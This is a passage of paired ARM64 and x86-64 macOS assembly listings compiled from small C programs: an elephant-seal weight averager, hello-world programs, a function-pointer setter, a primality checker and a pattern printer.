bl _exit
LBB0_2:
b LBB0_3
LBB0_3: ; =>This Inner Loop Header: Depth=1
ldur x0, [x29, #-8]
mov x9, sp
add x8, sp, #16
str x8, [x9]
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
bl _fscanf
adds w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB0_3
LBB0_5:
ldur w9, [x29, #-12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldur x0, [x29, #-8]
bl _rewind
ldur w0, [x29, #-12]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _get_average_weight ; -- Begin function get_average_weight
.p2align 2
_get_average_weight: ; @get_average_weight
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, #28]
str x1, [sp, #16]
movi d0, #0000000000000000
str d0, [sp]
str wzr, [sp, #12]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #12]
ldr w9, [sp, #28]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_4
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp, #12]
ldr s1, [x8, x9, lsl #2]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d1, d0
ldr d0, [sp]
fadd d0, d0, d1
str d0, [sp]
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB1_1
LBB1_4:
ldr d0, [sp]
ldr s2, [sp, #28]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
fdiv d0, d0, d1
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sub sp, sp, #80
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur wzr, [x29, #-12]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
adrp x1, l_.str.4@PAGE
add x1, x1, l_.str.4@PAGEOFF
bl _fopen
stur x0, [x29, #-24]
stur wzr, [x29, #-28]
ldur x0, [x29, #-24]
bl _get_array_size
stur w0, [x29, #-32]
ldur w8, [x29, #-32]
; kill: def $x8 killed $w8
mov x9, sp
stur x9, [x29, #-40]
lsl x9, x8, #2
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
stur x9, [x29, #-72] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldur x10, [x29, #-72] ; 8-byte Folded Reload
mov x9, sp
subs x9, x9, x10
mov sp, x9
stur x9, [x29, #-64] ; 8-byte Folded Spill
stur x8, [x29, #-48]
stur wzr, [x29, #-28]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-28]
ldur w9, [x29, #-32]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_4
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldur x8, [x29, #-64] ; 8-byte Folded Reload
ldur x0, [x29, #-24]
ldursw x9, [x29, #-28]
add x8, x8, x9, lsl #2
sub sp, sp, #16
mov x9, sp
str x8, [x9]
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
bl _fscanf
add sp, sp, #16
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldur w8, [x29, #-28]
add w8, w8, #1
stur w8, [x29, #-28]
b LBB2_1
LBB2_4:
ldur x1, [x29, #-64] ; 8-byte Folded Reload
movi d0, #0000000000000000
stur d0, [x29, #-56]
ldur w0, [x29, #-32]
bl _get_average_weight
stur d0, [x29, #-56]
ldur d0, [x29, #-56]
sub sp, sp, #16
mov x8, sp
str d0, [x8]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
add sp, sp, #16
ldur x0, [x29, #-24]
bl _fclose
stur wzr, [x29, #-12]
ldur x8, [x29, #-40]
mov sp, x8
ldur w8, [x29, #-12]
stur w8, [x29, #-76] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB2_6
b LBB2_5
LBB2_5:
bl ___stack_chk_fail
LBB2_6:
ldur w0, [x29, #-76] ; 4-byte Folded Reload
mov sp, x29
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Error, the file is empty."
l_.str.1: ; @.str.1
.asciz "%d"
l_.str.2: ; @.str.2
.asciz "The file contains %d numbers.\n"
l_.str.3: ; @.str.3
.asciz "elephant seals.txt"
l_.str.4: ; @.str.4
.asciz "r"
l_.str.5: ; @.str.5
.asciz "The average weight of an elephant seal is: %lf"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _get_array_size ## -- Begin function get_array_size
.p2align 4, 0x90
_get_array_size: ## @get_array_size
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movl $0, -12(%rbp)
cmpq $0, -8(%rbp)
jne LBB0_2
## %bb.1:
leaq L_.str(%rip), %rdi
xorl %eax, %eax
movl %eax, -20(%rbp) ## 4-byte Spill
callq _printf
movl -20(%rbp), %edi ## 4-byte Reload
callq _exit
LBB0_2:
jmp LBB0_3
LBB0_3: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rdi
leaq L_.str.1(%rip), %rsi
leaq -16(%rbp), %rdx
movb $0, %al
callq _fscanf
cmpl $-1, %eax
je LBB0_5
## %bb.4: ## in Loop: Header=BB0_3 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB0_3
LBB0_5:
movl -12(%rbp), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq -8(%rbp), %rdi
callq _rewind
movl -12(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _get_average_weight ## -- Begin function get_average_weight
.p2align 4, 0x90
_get_average_weight: ## @get_average_weight
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -32(%rbp)
movl $0, -20(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
cmpl -4(%rbp), %eax
jge LBB1_4
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movq -16(%rbp), %rax
movslq -20(%rbp), %rcx
cvtsi2sdl (%rax,%rcx,4), %xmm0
addsd -32(%rbp), %xmm0
movsd %xmm0, -32(%rbp)
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB1_1
LBB1_4:
movsd -32(%rbp), %xmm0 ## xmm0 = mem[0],zero
cvtsi2sdl -4(%rbp), %xmm1
divsd %xmm1, %xmm0
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -12(%rbp)
leaq L_.str.3(%rip), %rdi
leaq L_.str.4(%rip), %rsi
callq _fopen
movq %rax, -24(%rbp)
movl $0, -28(%rbp)
movq -24(%rbp), %rdi
callq _get_array_size
movl %eax, -32(%rbp)
movl -32(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -72(%rbp) ## 8-byte Spill
movq %rsp, %rcx
movq %rcx, -40(%rbp)
shlq $2, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -72(%rbp), %rax ## 8-byte Reload
movq %rsp, %rcx
movq %rcx, -64(%rbp) ## 8-byte Spill
movq %rax, -48(%rbp)
movl $0, -28(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movl -28(%rbp), %eax
cmpl -32(%rbp), %eax
jge LBB2_4
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -64(%rbp), %rdx ## 8-byte Reload
movq -24(%rbp), %rdi
movslq -28(%rbp), %rax
shlq $2, %rax
addq %rax, %rdx
leaq L_.str.1(%rip), %rsi
movb $0, %al
callq _fscanf
## %bb.3: ## in Loop: Header=BB2_1 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB2_1
LBB2_4:
movq -64(%rbp), %rsi ## 8-byte Reload
xorps %xmm0, %xmm0
movsd %xmm0, -56(%rbp)
movl -32(%rbp), %edi
callq _get_average_weight
movsd %xmm0, -56(%rbp)
movsd -56(%rbp), %xmm0 ## xmm0 = mem[0],zero
leaq L_.str.5(%rip), %rdi
movb $1, %al
callq _printf
movq -24(%rbp), %rdi
callq _fclose
movl $0, -12(%rbp)
movq -40(%rbp), %rax
movq %rax, %rsp
movl -12(%rbp), %eax
movl %eax, -76(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB2_6
## %bb.5:
movl -76(%rbp), %eax ## 4-byte Reload
movq %rbp, %rsp
popq %rbp
retq
LBB2_6:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Error, the file is empty."
L_.str.1: ## @.str.1
.asciz "%d"
L_.str.2: ## @.str.2
.asciz "The file contains %d numbers.\n"
L_.str.3: ## @.str.3
.asciz "elephant seals.txt"
L_.str.4: ## @.str.4
.asciz "r"
L_.str.5: ## @.str.5
.asciz "The average weight of an elephant seal is: %lf"
.subsections_via_symbols
| the_stack_data/1169657.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #8] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _puts
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Hello World!"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
callq _puts
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Hello World!"
.subsections_via_symbols
| the_stack_data/38771.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #8] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Hello world!"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Hello world!"
.subsections_via_symbols
| the_stack_data/319958.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _set_func ; -- Begin function set_func
.p2align 2
_set_func: ; @set_func
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
ldr x9, [sp, #8]
adrp x8, _func@GOTPAGE
ldr x8, [x8, _func@GOTPAGEOFF]
str x9, [x8]
ldr x8, [x8]
str x8, [sp, #8]
ldr x0, [sp, #8]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.comm _func,8,3 ; @func
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _set_func ## -- Begin function set_func
.p2align 4, 0x90
_set_func: ## @set_func
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rcx
movq _func@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq _func@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq -8(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _func,8,3 ## @func
.subsections_via_symbols
| the_stack_data/59512908.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
ldur w0, [x29, #-8]
bl _ehPrimo
scvtf s0, w0
stur s0, [x29, #-12]
ldur s0, [x29, #-12]
fmov s1, #2.00000000
fcmp s0, s1
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldur w9, [x29, #-8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_3
LBB0_2:
ldur w9, [x29, #-8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB0_3
LBB0_3:
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _ehPrimo ; -- Begin function ehPrimo
.p2align 2
_ehPrimo: ; @ehPrimo
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #8]
str wzr, [sp, #4]
mov w8, #1
str w8, [sp]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp]
ldr w9, [sp, #8]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB1_7
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #8]
ldr w10, [sp]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB1_5
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #8]
subs w8, w8, #2
cset w8, eq
tbnz w8, #0, LBB1_5
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_1 Depth=1
b LBB1_6
LBB1_6: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp]
add w8, w8, #1
str w8, [sp]
b LBB1_1
LBB1_7:
ldr w8, [sp, #4]
subs w8, w8, #2
cset w8, ne
tbnz w8, #0, LBB1_9
b LBB1_8
LBB1_8:
mov w8, #2
str w8, [sp, #12]
b LBB1_10
LBB1_9:
mov w8, #1
str w8, [sp, #12]
b LBB1_10
LBB1_10:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Digite um numero: "
l_.str.1: ; @.str.1
.asciz "%d"
l_.str.2: ; @.str.2
.asciz "\n%d e um numero primo!\n\n"
l_.str.3: ; @.str.3
.asciz "\n%d nao e um numero primo!\n\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal4,4byte_literals
.p2align 2 ## -- Begin function main
LCPI0_0:
.long 0x40000000 ## float 2
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
movl -8(%rbp), %edi
callq _ehPrimo
cvtsi2ss %eax, %xmm0
movss %xmm0, -12(%rbp)
movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
ucomiss %xmm1, %xmm0
jne LBB0_2
jp LBB0_2
## %bb.1:
movl -8(%rbp), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_3
LBB0_2:
movl -8(%rbp), %esi
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
LBB0_3:
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _ehPrimo ## -- Begin function ehPrimo
.p2align 4, 0x90
_ehPrimo: ## @ehPrimo
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -8(%rbp)
movl $0, -12(%rbp)
movl $1, -16(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movl -16(%rbp), %eax
cmpl -8(%rbp), %eax
jg LBB1_7
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movl -8(%rbp), %eax
cltd
idivl -16(%rbp)
cmpl $0, %edx
jne LBB1_5
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
cmpl $2, -8(%rbp)
je LBB1_5
## %bb.4: ## in Loop: Header=BB1_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
LBB1_5: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_6
LBB1_6: ## in Loop: Header=BB1_1 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB1_1
LBB1_7:
cmpl $2, -12(%rbp)
jne LBB1_9
## %bb.8:
movl $2, -4(%rbp)
jmp LBB1_10
LBB1_9:
movl $1, -4(%rbp)
LBB1_10:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Digite um numero: "
L_.str.1: ## @.str.1
.asciz "%d"
L_.str.2: ## @.str.2
.asciz "\n%d e um numero primo!\n\n"
L_.str.3: ## @.str.3
.asciz "\n%d nao e um numero primo!\n\n"
.subsections_via_symbols
| the_stack_data/235273.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _n@GOTPAGE
ldr x8, [x8, _n@GOTPAGEOFF]
stur x8, [x29, #-40] ; 8-byte Folded Spill
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
ldur w8, [x29, #-8]
subs w8, w8, #2
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldur x8, [x29, #-40] ; 8-byte Folded Reload
ldur x9, [x29, #-16]
ldr x0, [x9, #8]
mov x9, sp
str x8, [x9]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
bl _sscanf
subs w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2:
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
ldur x8, [x29, #-16]
ldr x8, [x8]
mov x9, sp
str x8, [x9]
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
bl _fprintf
mov w0, #-1
bl _exit
LBB0_3:
ldur x9, [x29, #-40] ; 8-byte Folded Reload
ldr w8, [x9]
ldr w9, [x9]
add w8, w8, w9
stur w8, [x29, #-32]
mov w8, #1
stur w8, [x29, #-20]
b LBB0_4
LBB0_4: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-20]
ldur w9, [x29, #-32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_7
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_4 Depth=1
ldur w8, [x29, #-20]
; implicit-def: $x9
mov x9, x8
mov x8, sp
str x9, [x8]
str xzr, [x8, #8]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldur w9, [x29, #-20]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str xzr, [x9]
str x8, [x9, #8]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldur w8, [x29, #-20]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-32]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
ldur w8, [x29, #-32]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-20]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_4 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB0_4
LBB0_7:
mov w8, #1
stur w8, [x29, #-20]
b LBB0_8
LBB0_8: ; =>This Loop Header: Depth=1
; Child Loop BB0_10 Depth 2
ldur w8, [x29, #-20]
ldur w9, [x29, #-32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_15
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_8 Depth=1
mov w8, #1
stur w8, [x29, #-24]
b LBB0_10
LBB0_10: ; Parent Loop BB0_8 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-24]
ldur w9, [x29, #-32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_13
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_10 Depth=2
ldur w8, [x29, #-20]
; implicit-def: $x11
mov x11, x8
ldur w8, [x29, #-24]
subs w12, w8, #1
ldur w8, [x29, #-20]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-24]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x11, [x9]
; implicit-def: $x11
mov x11, x12
str x11, [x9, #8]
str x10, [x9, #16]
str x8, [x9, #24]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
ldur w8, [x29, #-20]
subs w13, w8, #1
ldur w8, [x29, #-24]
; implicit-def: $x11
mov x11, x8
ldur w8, [x29, #-20]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-24]
; implicit-def: $x8
mov x8, x9
mov x9, sp
; implicit-def: $x12
mov x12, x13
str x12, [x9]
str x11, [x9, #8]
str x10, [x9, #16]
str x8, [x9, #24]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_10 Depth=2
ldur w8, [x29, #-24]
add w8, w8, #1
stur w8, [x29, #-24]
b LBB0_10
LBB0_13: ; in Loop: Header=BB0_8 Depth=1
b LBB0_14
LBB0_14: ; in Loop: Header=BB0_8 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB0_8
LBB0_15:
mov w8, #1
stur w8, [x29, #-20]
b LBB0_16
LBB0_16: ; =>This Loop Header: Depth=1
; Child Loop BB0_18 Depth 2
ldur w8, [x29, #-20]
ldur w9, [x29, #-32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_23
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_16 Depth=1
mov w8, #1
stur w8, [x29, #-24]
b LBB0_18
LBB0_18: ; Parent Loop BB0_16 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-24]
ldur w9, [x29, #-32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_21
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_18 Depth=2
ldur w8, [x29, #-20]
; implicit-def: $x12
mov x12, x8
ldur w8, [x29, #-24]
subs w14, w8, #1
ldur w8, [x29, #-20]
subs w13, w8, #1
ldur w8, [x29, #-24]
; implicit-def: $x11
mov x11, x8
ldur w8, [x29, #-20]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-24]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x12, [x9]
; implicit-def: $x12
mov x12, x14
str x12, [x9, #8]
; implicit-def: $x12
mov x12, x13
str x12, [x9, #16]
str x11, [x9, #24]
str x10, [x9, #32]
str x8, [x9, #40]
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
ldur w8, [x29, #-20]
; implicit-def: $x14
mov x14, x8
ldur w8, [x29, #-24]
; implicit-def: $x12
mov x12, x8
ldur w8, [x29, #-20]
subs w13, w8, #1
ldur w8, [x29, #-24]
; implicit-def: $x11
mov x11, x8
ldur w8, [x29, #-20]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-24]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x14, [x9]
str x12, [x9, #8]
; implicit-def: $x12
mov x12, x13
str x12, [x9, #16]
str x11, [x9, #24]
str x10, [x9, #32]
str x8, [x9, #40]
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _printf
ldur w8, [x29, #-20]
; implicit-def: $x13
mov x13, x8
ldur w8, [x29, #-24]
subs w14, w8, #1
ldur w8, [x29, #-20]
; implicit-def: $x12
mov x12, x8
ldur w8, [x29, #-24]
; implicit-def: $x10
mov x10, x8
ldur w8, [x29, #-20]
subs w11, w8, #1
ldur w9, [x29, #-24]
